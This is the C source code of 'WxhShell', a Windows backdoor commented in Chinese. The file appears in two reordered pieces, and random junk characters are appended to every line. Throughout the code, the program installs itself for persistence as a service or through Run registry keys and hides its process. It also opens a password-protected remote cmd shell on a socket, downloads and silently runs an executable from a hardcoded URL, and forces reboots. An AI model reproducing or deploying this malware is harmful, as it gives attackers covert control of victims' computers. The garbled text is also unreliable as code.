    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0);  eAbp5}B  
    if(Boot(SHUTDOWN)) $o>6Io|D  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #tlhH\Pr[  
    else { RS /*Dp^  
    closesocket(wsh); R#Hz%/:|A  
    ExitThread(0); W3-g]#\?  
    } oAxCI/  
    break; %Y<3v \`_  
    } H4JwgQ  
  // 获取shell  Ts 1  
  case 's': { [p&2k&.XYe  
    CmdShell(wsh); <%EjrjdvL+  
    closesocket(wsh); )SsO,E+t=U  
    ExitThread(0); e[*%tx H  
    break; Q[UYNQ0w  
  } P'D'+qS  
  // 退出 5qQ\H}  
  case 'x': { Ur2) ];WZ  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); - <M'h  
    CloseIt(wsh); #wP$LKk  
    break; e? n8S  
    } uEcK0>xp  
  // 离开 <-Q0s%mNj,  
  case 'q': { 2RC@Fu~zaU  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Kzf^ras4u  
    closesocket(wsh); Q"b62+03  
    WSACleanup(); hxx`f-#=  
    exit(1); vN3uLz'<  
    break;  $qyST  
        } mM)d`br  
  } Sx}61?  
  } Swnom?t  
d2[R{eNX=  
  // 提示信息 ,G!mO,DX  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); TOXZl3 s5#  
} [V_\SQV0  
  } e{7"7wn=  
#>\%7b59>  
  return; &1$|KbmV4  
}  T6N~L~J  
".Sa[A;~  
// shell模块句柄 RLr^6+v)U  
int CmdShell(SOCKET sock) !+Us)'L  
{ 56T{JTo  
STARTUPINFO si; wA?q/cw C  
ZeroMemory(&si,sizeof(si)); (|U|>@  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; }N%uQP#I  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; $|pD}  
PROCESS_INFORMATION ProcessInfo; u:GDM   
char cmdline[]="cmd"; l"app]uVZ  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); *zTEK:+_  
  return 0; c},wW@SF2W  
} pA?2UZ  
)2mvW1M=7;  
// 自身启动模式 1_0\_|  
int StartFromService(void) Lc5I?}:;L  
{ ]B>g~t5J  
typedef struct v"J7VF2  
{ fe$OPl~  
  DWORD ExitStatus; (4oO8 aBB  
  DWORD PebBaseAddress; Bl!R bh\  
  DWORD AffinityMask; aYd`E4S+  
  DWORD BasePriority; Zt H{2j0  
  ULONG UniqueProcessId; 6;{E-y  
  ULONG InheritedFromUniqueProcessId; V/W{d[86G  
}   PROCESS_BASIC_INFORMATION; I!;vy/r  
:]+p#l  
PROCNTQSIP NtQueryInformationProcess; j^qI~|#  
unN=yeut  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; -5TMV#i {  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 1y}tPkOe7O  
8PtX@s43\  
  HANDLE             hProcess; &=`6- J  
  PROCESS_BASIC_INFORMATION pbi; $mLiEsJ  
o]O  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); hsZ}FLStJ  
  if(NULL == hInst ) return 0; +3%i7  
$1b x\  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); m. DC  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); T$r?LIa ,Q  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); FErK r)  
fw+ VR.#2H  
  if (!NtQueryInformationProcess) return 0; w;(B4^?  
4 N{5i )  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); tj;<EaM  
  if(!hProcess) return 0; ti}G/*4  
F}dq~QCzw  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; tFKR~?Gc  
ZK8I f?SD  
  CloseHandle(hProcess); ct-;L' a  
o; N s-=  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); kFo&!  
if(hProcess==NULL) return 0; %eDJ]\*^X  
2i_X{!0}  
HMODULE hMod; M +Jcg b]  
char procName[255]; ;1[Lwnm  
unsigned long cbNeeded; ZFO*D79:K  
?~#{3b  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); /aHx'TG  
<rAk"R^  
  CloseHandle(hProcess); Yvbk[Rb  
96.Vm*/7  
if(strstr(procName,"services")) return 1; // 以服务启动 PquATAzQA  
y.m;4((  
  return 0; // 注册表启动 z~+gche>  
} Owz.C_{)  
Vuu_Sd  
// 主模块 GtNGrJU  
int StartWxhshell(LPSTR lpCmdLine) X=d;WT4,,  
{ [H8QxJk  
  SOCKET wsl; *Ul L\  
BOOL val=TRUE; oHI/tS4 _  
  int port=0; YMEI J}  
  struct sockaddr_in door; j*05!j<'  
7gY^aMW  
  if(wscfg.ws_autoins) Install(); 1=X"|`<!  
aA/.EAc7  
port=atoi(lpCmdLine); N2_9V~!  
qn4jy6  
if(port<=0) port=wscfg.ws_port; CWk65tcF  
A"8"e*  
  WSADATA data; _Z|3qQ  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; \d)~.2$G*  
Q4JvFy0'  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   u/2!v(  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); umo@JWr  
  door.sin_family = AF_INET; _^)<d$R<  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 0 w#[?.  
  door.sin_port = htons(port); 0{GpO6!  
j7M[]/|  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { CL-mt5Kx#7  
closesocket(wsl); s s*% 3<  
return 1; @Ja8~5:  
} Ka"Z,\T   
!7O!)WJ  
  if(listen(wsl,2) == INVALID_SOCKET) { ]O\Oj6C  
closesocket(wsl); "x*5g*k  
return 1; m% {4  
} ZAG ia q  
  Wxhshell(wsl); 0` {6~p  
  WSACleanup(); $rh{f<  
De(\ <H#  
return 0; T&]J3TFJ  
PmGW\E[ni  
} WD^!G;}  
d,G:+  
// 以NT服务方式启动 xjOj1Hv  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) s=+,F<;x.U  
{ %`P6a38j  
DWORD   status = 0; YYz,sR'%|}  
  DWORD   specificError = 0xfffffff; G Uf[Dz  
OeuM9c{  
  serviceStatus.dwServiceType     = SERVICE_WIN32; >_Dq)n;%  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 5UQz6DK  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ]i-peBxw  
  serviceStatus.dwWin32ExitCode     = 0; R`wL%I!?f  
  serviceStatus.dwServiceSpecificExitCode = 0; Y?(kE` R  
  serviceStatus.dwCheckPoint       = 0; "Z&-:1tP{9  
  serviceStatus.dwWaitHint       = 0; @,<@y>m7  
nl)!)t=n  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); +h}>UK\  
  if (hServiceStatusHandle==0) return; mZ^z%+Ca|  
kgX"LQh;[G  
status = GetLastError(); E*ug.nxy  
  if (status!=NO_ERROR) Awo H d7M  
{ @?$x  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; p9;Oe,Il  
    serviceStatus.dwCheckPoint       = 0; hlpi-oW`  
    serviceStatus.dwWaitHint       = 0; +0016UgS#  
    serviceStatus.dwWin32ExitCode     = status; SO #NWa<0|  
    serviceStatus.dwServiceSpecificExitCode = specificError; W)dQ yZ>J  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); B&~#.<23:  
    return; )T1U!n?^x  
  } O\h*?, )  
T[}A7a6g_  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; j~(s3pSCo  
  serviceStatus.dwCheckPoint       = 0; 4!pMZ<$3  
  serviceStatus.dwWaitHint       = 0; M^c`j#NQ  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); e6C;A]T2E  
} x=g=e <_  
j@xerY  
// 处理NT服务事件,比如:启动、停止 I%]~]a  
VOID WINAPI NTServiceHandler(DWORD fdwControl) nyyKA_#:5  
{ b ^wL{q  
switch(fdwControl) b'9\j.By  
{ "<3F[[;~  
case SERVICE_CONTROL_STOP: "@1e0`n Q  
  serviceStatus.dwWin32ExitCode = 0; x;&01@m.  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; !}Sf?n P#  
  serviceStatus.dwCheckPoint   = 0; v=kQ / h  
  serviceStatus.dwWaitHint     = 0;  |,*N>e  
  { Mu,}?%  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 'Vwsbm tY  
  } `0 .<  
  return; ~)\9f 1O{^  
case SERVICE_CONTROL_PAUSE: M#BM`2!s  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; :6k8\{^9"D  
  break; >K }j}M%  
case SERVICE_CONTROL_CONTINUE: WmO.&zp  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; xbbQ)sH&m  
  break; ; B4x>  
case SERVICE_CONTROL_INTERROGATE: "gD]K=  
  break; 5K_KZL-  
}; ~HWH2g  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 42*y27Dtm  
} KIyhvY~  
K`7(*!HEb  
// 标准应用程序主函数 ;VhilWaF-  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) eI?|Ps{S  
{ :@mBSE/  
Gjhpi5?%8  
// 获取操作系统版本 Lp!4X1/|\  
OsIsNt=GetOsVer(); }e/#dMEi  
GetModuleFileName(NULL,ExeFile,MAX_PATH); IUB#Vdx  
]>j>bHG  
  // 从命令行安装  rG#o*oA  
  if(strpbrk(lpCmdLine,"iI")) Install(); 9|kc$+(+6  
?8ZOiY(  
  // 下载执行文件 D8Ntzsr6  
if(wscfg.ws_downexe) { OvL@@SX |  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) nK95v}p}Y  
  WinExec(wscfg.ws_filenam,SW_HIDE); vBP 5n  
} vBFMne1h  
<1t.f}}uX  
if(!OsIsNt) { 1 u[a713O  
// 如果时win9x,隐藏进程并且设置为注册表启动 XH^X4W  
HideProc();  "! -  
StartWxhshell(lpCmdLine); Z2Q'9C},m  
} {RG4m{#9  
else C?xah?Sk  
  if(StartFromService()) 0m3:!#\  
  // 以服务方式启动 uPe&i5YR  
  StartServiceCtrlDispatcher(DispatchTable); Ox| ?  
else 3shRrCL0mf  
  // 普通方式启动 j{8;5 ?x  
  StartWxhshell(lpCmdLine); )$EmKOTt:  
S*aVcyDEP  
return 0; m`;dFL7"E  
} dBWi1vTF  
8fI]QW  
AVn?86ri  
M0jC:*D`"  
=========================================== Q1Jw7R#?l  
%`]&c)&#Z  
QL].)Vgf  
 1{fu  
4!vovt{  
[Sj _=  
" A$JL"~R  
i?HN  
#include <stdio.h> c"wk_ #  
#include <string.h> eNHSfq  
#include <windows.h> k<Y}BvAYB  
#include <winsock2.h> h^B~Fv>~  
#include <winsvc.h>  BN_I#8r  
#include <urlmon.h> Wr j<}L|  
4MFdhJoN  
#pragma comment (lib, "Ws2_32.lib") pu"m(9  
#pragma comment (lib, "urlmon.lib") _c z$w5`  
<MQTOz oj  
#define MAX_USER   100 // 最大客户端连接数 F.Sc2n@7-  
#define BUF_SOCK   200 // sock buffer 6_=t~9sY  
#define KEY_BUFF   255 // 输入 buffer za,JCI  
dED&-e#  
#define REBOOT     0   // 重启 +|w%}/N  
#define SHUTDOWN   1   // 关机 &6@# W]_  
>)j`Q1Qc\  
#define DEF_PORT   5000 // 监听端口 t/vw%|AS  
S^c; i  
#define REG_LEN     16   // 注册表键长度 P\rA>ZY  
#define SVC_LEN     80   // NT服务名长度 V [#$Sz[G  
3oQ?VP  
// 从dll定义API UhX)?'J  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 1sIPhOIys  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); _'}Mg7,V  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); p Lwtm@  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); SZVAf|]Yg  
xbNL <3"a  
// wxhshell配置信息 lzbAx  
struct WSCFG { lD-HQd  
  int ws_port;         // 监听端口 v.!e1ke8D*  
  char ws_passstr[REG_LEN]; // 口令 n8.Tag(#  
  int ws_autoins;       // 安装标记, 1=yes 0=no =JGL~t?  
  char ws_regname[REG_LEN]; // 注册表键名 S\S31pYT  
  char ws_svcname[REG_LEN]; // 服务名 EEp~\^ -  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 9=}&evGm89  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 W @]t  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 C@P*:L_  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ukDaX  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" \Gm\sy  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ?'^dYQ4  
~vscATQ  
}; VUUE2k;^  
oIv\Xdc81  
// default Wxhshell configuration 1EHL8@.M  
struct WSCFG wscfg={DEF_PORT, ] L6LB \  
    "xuhuanlingzhe", =`OnFdI  
    1, 9#:B_?e=  
    "Wxhshell", ^US ol/  
    "Wxhshell", % pQi}x  
            "WxhShell Service", c2Yrg@) [  
    "Wrsky Windows CmdShell Service", ~F.kgX  
    "Please Input Your Password: ", miB+'n"zS  
  1, giH WC%/  
  "http://www.wrsky.com/wxhshell.exe", !-~sxa280r  
  "Wxhshell.exe" U.pGp]\Q)G  
    }; PlRcrT"#w  
V)Ze> Pp  
// 消息定义模块 Zo#c[9IaC  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; x0||'0I0  
char *msg_ws_prompt="\n\r? for help\n\r#>"; fn, YH  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; P{2j31u`  
char *msg_ws_ext="\n\rExit."; 5BS !6o;P'  
char *msg_ws_end="\n\rQuit."; 7_~_$I~g*  
char *msg_ws_boot="\n\rReboot..."; S#b)RpY  
char *msg_ws_poff="\n\rShutdown..."; yqKSaPRA  
char *msg_ws_down="\n\rSave to "; a49t/  
589P$2e1X  
char *msg_ws_err="\n\rErr!"; .s%dP.P:i1  
char *msg_ws_ok="\n\rOK!"; _BI[F m  
(g3DI*Z  
char ExeFile[MAX_PATH]; $ qTv2)W1{  
int nUser = 0; X }Fqif4A  
HANDLE handles[MAX_USER]; 'xu! t'l&  
int OsIsNt; |w.h97fj  
3'!*/UnU  
SERVICE_STATUS       serviceStatus; TGZr [  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; _Jn@+NoO  
KT0Pmpp5  
// 函数声明 hu 5o{8[  
int Install(void); T\ [CQO  
int Uninstall(void); scPvuHzl  
int DownloadFile(char *sURL, SOCKET wsh); =kb/4eRg  
int Boot(int flag); 5Un)d<!7&u  
void HideProc(void); 'H(khS  
int GetOsVer(void); J~}i}|YC>  
int Wxhshell(SOCKET wsl); km29]V=}  
void TalkWithClient(void *cs); >AW&Lfw$  
int CmdShell(SOCKET sock); 9P*p{O{_  
int StartFromService(void); ]3d5kf  
int StartWxhshell(LPSTR lpCmdLine); VgO.in^q  
a*qc  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); =D Tbz3<  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ,|?rt`8)Q  
.$xTX'  
// 数据结构和表定义 aPin6L$;)  
SERVICE_TABLE_ENTRY DispatchTable[] = ,"f2-KC4h  
{ +TN*6V{D  
{wscfg.ws_svcname, NTServiceMain}, ~:N 1[  
{NULL, NULL} .[o`TlG%  
}; .q'{ 3  
$*C'{&2  
// 自我安装 v[~Q   
int Install(void) `.F3&pA  
{ ~8EzK_c  
  char svExeFile[MAX_PATH]; <[V1z=Eo/]  
  HKEY key; AS a)xf9  
  strcpy(svExeFile,ExeFile); @O8X )  
s} oD?h:T3  
// 如果是win9x系统,修改注册表设为自启动 ]JlM/  
if(!OsIsNt) { S5e"}.]|  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Is>~P*2Y=  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); h"dn:5G:=  
  RegCloseKey(key); l8+;)2p!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { V"8w:?  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); *#j_nNM4  
  RegCloseKey(key); /|8/C40aY  
  return 0; J#?z/3v(  
    } vA*Q}]Ov  
  } Wo~;h (6  
} "B0I$`~wu  
else { vvF]g.,  
Amv:dh  
// 如果是NT以上系统,安装为系统服务 >~})O&t  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); WU~L#Ih.V  
if (schSCManager!=0) 40%<E  
{ ~c@@m\C"b  
  SC_HANDLE schService = CreateService Y, {pG]B$w  
  ( .DHQJ|J-1  
  schSCManager, 6b\JD.r*{  
  wscfg.ws_svcname, n"f: 6|<  
  wscfg.ws_svcdisp, QZFH>,d  
  SERVICE_ALL_ACCESS, T} K@ykT  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , cnj32H^+  
  SERVICE_AUTO_START, j {Sbf04  
  SERVICE_ERROR_NORMAL, *@g>~q{`  
  svExeFile, a6 w'.]m  
  NULL, d bHxc@H  
  NULL, Uac.8wQh  
  NULL, ))E| SAr  
  NULL, jQ dIeQD+  
  NULL ~;0W +  
  ); ~$m:j];  
  if (schService!=0) 5QZ}KNJ|t~  
  { K1zH\wH  
  CloseServiceHandle(schService); 9ZI^R/*Kc  
  CloseServiceHandle(schSCManager); HEF\TH9  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); d?)Ic1][  
  strcat(svExeFile,wscfg.ws_svcname); YtA<4XHU  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { jz,Gj}3;  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); C9n*?Mk:  
  RegCloseKey(key);   9EWw  
  return 0; LKYcE;n  
    } N[kl3h%q  
  } r}-vOPn`E  
  CloseServiceHandle(schSCManager); =,Z5F`d4  
} hpo*5Va  
} +.McC$!s  
d^I:{Ii'  
return 1; 15R:m:T  
} yv\ j&B|  
ko6[Ej:TBo  
// 自我卸载 qEM,~:lTn  
int Uninstall(void) tkW7wP;  
{ p$a+?5'Q  
  HKEY key; ,D\}DJ`)C  
e(vnnv?R{  
if(!OsIsNt) { LrdX^_,nt  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { "89L^I  
  RegDeleteValue(key,wscfg.ws_regname); n,Q^M$mS0  
  RegCloseKey(key); pd.5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { S%o6cl=  
  RegDeleteValue(key,wscfg.ws_regname); eOJ_L]y-  
  RegCloseKey(key); -gpHg  
  return 0; BQ(sjJ$v6F  
  } BKQwF *<V  
} 'W/AYF^5  
} 1l\. >H\E  
else { :a_MT  
QT\"r T9#  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 6k;>:[p  
if (schSCManager!=0) C5=m~  
{ 2C#b-Y 1~N  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); yH]w(z5Z  
  if (schService!=0) PKYm{wO-  
  { +5H1n(6)  
  if(DeleteService(schService)!=0) { ,AG k4]  
  CloseServiceHandle(schService); '3TfW61]  
  CloseServiceHandle(schSCManager); (} Y|^uM,  
  return 0; &"clBR Vg  
  } *ch7z|wo.  
  CloseServiceHandle(schService); wPaMYxO/  
  } ? J6\?ct4  
  CloseServiceHandle(schSCManager); T*](oA@  
} >g2Z t;*@w  
} a6hDw'8!  
bP7_QYQ6  
return 1; "` kSI&2  
} M)CQ|P  
F,@uYMQs  
// 从指定url下载文件 Xe@:Aun  
int DownloadFile(char *sURL, SOCKET wsh) M^0^l9w  
{ 7|X.E  
  HRESULT hr; '@WS7`@-y  
char seps[]= "/"; \!zM4ppr  
char *token; Mi7LyIu  
char *file; 4AYW'j C  
char myURL[MAX_PATH]; #f }ORA  
char myFILE[MAX_PATH]; nmClP  
3j/~XT  
strcpy(myURL,sURL); 'nfdOX.d  
  token=strtok(myURL,seps); Z!I#Z2X  
  while(token!=NULL) -x+K#T0Z  
  { "T~A*a^  
    file=token; 8-FW'bA  
  token=strtok(NULL,seps); %( #kJZ  
  } "/{H=X3was  
:F pt>g  
GetCurrentDirectory(MAX_PATH,myFILE); "\rR0V!wA  
strcat(myFILE, "\\"); 0"koZd,c  
strcat(myFILE, file); d1u6*&@lf  
  send(wsh,myFILE,strlen(myFILE),0); B=|m._OL]n  
send(wsh,"...",3,0); Pk )H(,  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ?J28@rM  
  if(hr==S_OK) .CEl{fofj  
return 0; SD]rYIu+  
else C |P(,Xp  
return 1; hGj`IAW  
!Er)|YP  
} G>S3?jGk  
$mut v=IO  
// 系统电源模块 FXFyF*w2  
int Boot(int flag) rWN%Tai-  
{ Wrs6t  
  HANDLE hToken; dW Vm'd  
  TOKEN_PRIVILEGES tkp; !.[H !-V.  
R;H>#caJ  
  if(OsIsNt) { 'b Kc;\  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); xGt>X77  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); `0Xs!f  
    tkp.PrivilegeCount = 1; 0;2ApYks  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; bs?&;R.5  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); <Eh_  
if(flag==REBOOT) { @T&w n k  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) l#rr--];  
  return 0; yrFl,/8&G  
} zC>zkFT>H  
else { `_ )5K u}  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) O*m9qF<  
  return 0; :;N2hnHoG  
} zI.:1(,  
  } -Rj3cx  
  else { 6(V"xjK  
if(flag==REBOOT) { {lNG:o  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) UaM&/K9  
  return 0; Mb(hdS90  
} l`?4O  
else { &f<Ltdw  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) %Hy.  
  return 0; QUz_2rN^  
} & hv@ &  
} QA# 7T3|  
SI:Iv:>  
return 1; lcuqzX{7  
} !s47A"O&B  
{|R +|ow  
// win9x进程隐藏模块 :}[ D;cx  
void HideProc(void) 9[Xe|5?c  
{ JwcC9 O  
e)A{ {wD/  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); CAbT9W z&  
  if ( hKernel != NULL ) 884-\M"h  
  { X A-,  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); AqjEz+TVt  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); [<IJ{yfx  
    FreeLibrary(hKernel); 0{sYD*gK]  
  } d?>pcT)G_  
&|c] U/_w  
return; rl XMrn  
} Cp^%;(@  
\zV'YeG  
// 获取操作系统版本 MTeCmFe0;  
int GetOsVer(void) 4/E>k <MA  
{ GE |P)VO  
  OSVERSIONINFO winfo; ~0Xx]  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 8|-064i>  
  GetVersionEx(&winfo); K]yUPx  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)  f%c-  
  return 1; & 6~AY :0r  
  else Mx=L lC)  
  return 0; [:cZDVaA|  
} 6|ENDd[  
x<h-F  
// 客户端句柄模块 N t_7Z  
int Wxhshell(SOCKET wsl) ~+Ows  
{ lZ5TDS  
  SOCKET wsh; _43 :1!os  
  struct sockaddr_in client; PZSi}j/  
  DWORD myID; q%c"`u/v/  
GM>Ms!Y  
  while(nUser<MAX_USER) I>45xVA  
{ Wup%.yT~Ds  
  int nSize=sizeof(client); H"%SzU  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Mgc|>#=  
  if(wsh==INVALID_SOCKET) return 1; s&Ml1 A:  
b'TkYa^  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); {^SHIL  
if(handles[nUser]==0) v#Y9O6g]T  
  closesocket(wsh); 6;hZHe'W  
else $Qq5Fx9kU  
  nUser++; 6'QlC+E  
  } rklK=W z  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 1[H1l;  
-H AUKY@;5  
  return 0; Pqb])-M9p  
} bAm ,gP  
- ]Mp<Y  
// 关闭 socket %<Kw  
void CloseIt(SOCKET wsh) i 79;;9M  
{ ">NPp\t>/Z  
closesocket(wsh); Nlfz'_0M  
nUser--; ?ZlN$h^  
ExitThread(0); c;1Xu1  
} SoJ'y6  
a]8}zSUK  
// 客户端请求句柄 Zlf) dDn  
void TalkWithClient(void *cs) 0@*EwI  
{ M8iI e:{ c  
GJIM^  
  SOCKET wsh=(SOCKET)cs; xyc`p[n &  
  char pwd[SVC_LEN]; o5 |P5h  
  char cmd[KEY_BUFF]; ?q+^U>wy&  
char chr[1]; f+j-M|A  
int i,j; b_xGCBC  
!xo; $4  
  while (nUser < MAX_USER) { @I,:(<6  
,zU7UL^I  
if(wscfg.ws_passstr) { >zY~")|R(  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); o 9]2  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 'Xw> ?[BB  
  //ZeroMemory(pwd,KEY_BUFF); RFq&#3f$  
      i=0; 64h$sC0z/e  
  while(i<SVC_LEN) { ;H:+w\?8f$  
;fnE"}  
  // 设置超时 q%xq\L.  
  fd_set FdRead; 3 h~U)mg  
  struct timeval TimeOut; _/ Uer }  
  FD_ZERO(&FdRead); H`028^CH$  
  FD_SET(wsh,&FdRead); {u,yX@F4l  
  TimeOut.tv_sec=8; = 7TK&  
  TimeOut.tv_usec=0; !>Ru= $9  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); |37y ="  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); js<}>wD7<  
:ncR7:Z  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); a]mPc^h  
  pwd=chr[0]; 1ZK~i  
  if(chr[0]==0xd || chr[0]==0xa) { E A8>{}Z*  
  pwd=0; k%S;N{Qh@  
  break; ]t|-  
  } iYHC a }  
  i++; W n43TSs-  
    } >UUT9:,plA  
\C(dWs  
  // 如果是非法用户,关闭 socket ~'aK[3  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); iAAlld1  
} ;x=r.3OQy  
=u^{Jvl[  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ttaYtV]]  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); e}Xmb$  
g9F4nExo  
while(1) { NDv_@V(D  
5QoU&Hv  
  ZeroMemory(cmd,KEY_BUFF); C@8WY  
a6vls]?  
      // 自动支持客户端 telnet标准   R?K[O   
  j=0; 9/x_p;bI  
  while(j<KEY_BUFF) { 9?xc3F2EBD  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Q:4euhz*  
  cmd[j]=chr[0]; ^%:syg_RM[  
  if(chr[0]==0xa || chr[0]==0xd) { 82bOiN15  
  cmd[j]=0; OVE5:)$x  
  break; $_P*Bk)  
  } O)4P)KAO<  
  j++; }N6r/ VtOQ  
    } iKu~o.yy  
H!+T2<F9R  
  // 下载文件 Ef2#}%>  
  if(strstr(cmd,"http://")) { 5U3 b&0  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ,Q5Z<\  
  if(DownloadFile(cmd,wsh)) 1tNmiAu  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); z&@Vg`w"  
  else Q ]u*Oels  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); z'FJx2  
